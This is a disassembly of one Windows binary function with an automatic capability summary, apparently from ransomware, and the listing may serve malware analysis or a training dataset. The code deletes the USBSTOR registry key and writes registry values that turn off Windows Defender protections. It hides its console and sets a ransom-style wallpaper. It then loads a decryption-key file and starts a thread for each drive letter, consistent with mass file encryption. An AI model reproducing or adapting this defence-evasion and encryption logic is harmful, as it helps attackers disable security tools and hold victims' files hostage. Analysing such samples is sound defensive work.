Function at 0x140026ff0
Capabilities:
Change the wallpaper
Create thread
Delete registry key
Disable windows defender features via registry on windows
Get common file path
Get disk information
Persist via windows service
Read file on windows
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
xor r9d, r9d
lea rbx, [0x14003f750]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov r8, rbx
lea rdx, str._s_time.dat
lea rcx, [0x14003f860]
call fcn.1400010d0
lea rdx, str.SYSTEMCurrentControlSetServicesUSBSTOR
mov dword [0x14003e34c], 0x4650
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rax, [rbp + 0x3f0]
mov dword [rbp + 0x3e0], 1
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x140027205
mov rcx, qword [rbp + 0x3f0]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableAntiSpyware
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3f0]
lea rax, [rbp + 0x3e8]
mov qword [rsp + 0x40], rsi
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableRealtimeMonitoring
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableBehaviorMonitoring
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableScanOnRealtimeEnable
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableOnAccessProtection
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3e8]
lea rax, [rbp + 0x3e0]
mov dword [rsp + 0x28], 4
lea r9d, [rsi + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.DisableIOAVProtection
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x3f0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
mov dword [rsp + 0x28], 0x2000
mov rcx, rax
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea edx, [r9 + 0x68]
call qword [sym.imp.USER32.dll_LoadImageW]
mov rbx, rax
test rax, rax
je 0x1400272d0
lea rdx, [rbp + 0x1a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, [rbp + 0x1a0]
lea rdx, str._s_tmp.bmp
lea rcx, [rbp - 0x70]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rbp - 0x70]
call fcn.1400277a0
test eax, eax
je 0x1400272b9
xor edx, edx
lea r8, [rbp - 0x70]
mov r9d, 3
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
lea rdx, str.Failed_to_set_wallpaper._n
lea rcx, str.Wallpaper_set_successfully._n
cmove rcx, rdx
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x1400272dc
lea rcx, str.Failed_to_save_bitmap_to_file._n
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x1400272dc
lea rcx, str.Failed_to_load_bitmap_from_resource._n
call fcn.140001070
mov qword [rsp + 0x28], rsi
lea r8, [0x140027a70]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
mov dword [0x14003f854], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rdx, dword [0x14003f854]
lea r14, [0x14003f970]
mov qword [rsp + 0x28], rsi
lea r8, [0x140029000]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor ecx, ecx
mov qword [r14 + rdx*8], rax
inc edx
mov dword [0x14003f854], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rdx, dword [0x14003f854]
lea r8, [0x1400274e0]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov qword [r14 + rdx*8], rax
inc edx
mov dword [0x14003f854], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd r8, dword [0x14003f854]
xor r9d, r9d
xor ecx, ecx
mov qword [r14 + r8*8], rax
lea edx, [r9 + 0x1a]
inc r8d
lea rax, [rbp + 0x1a0]
mov dword [0x14003f854], r8d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r8, [rbp + 0x1a0]
lea rdx, str._sdec_key.dat
lea rcx, [rbp - 0x70]
call fcn.1400010d0
lea rdx, [0x140033cc0]
lea rcx, [rbp - 0x70]
call fcn.14001022c
mov rbx, rax
test rax, rax
je 0x1400273fb
mov edx, 1
lea rcx, [rsp + 0x68]
mov r9, rax
lea r8d, [rdx + 0x23]
call fcn.140011044
lea rcx, [rsp + 0x68]
mov byte [rbp - 0x74], sil
call fcn.1400286f0
mov rcx, rbx
mov byte [0x140039ab8], sil
call fcn.14001035c
movabs rax, 0x5c003a0063
mov edi, 0x61
mov qword [rsp + 0x50], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], eax
nop word [rax + rax]
lea rcx, [rsp + 0x50]
mov word [rsp + 0x50], di
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub eax, 2
je 0x140027447
sub eax, 1
je 0x140027447
cmp eax, 1
je 0x140027447
mov ecx, dword [0x14003f854]
jmp 0x1400274a4
mov ecx, 4
call fcn.140001138
movzx r8d, di
lea rdx, str._c_c
mov r9d, 0x65
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], rsi
lea r8, [0x1400288b0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [0x14003f854]
mov qword [r14 + rcx*8], rax
inc ecx
inc dword [0x14003f858]
mov dword [0x14003f854], ecx
inc di
cmp di, 0x7a
jbe 0x140027420
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor eax, eax
add rsp, 0x4b0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret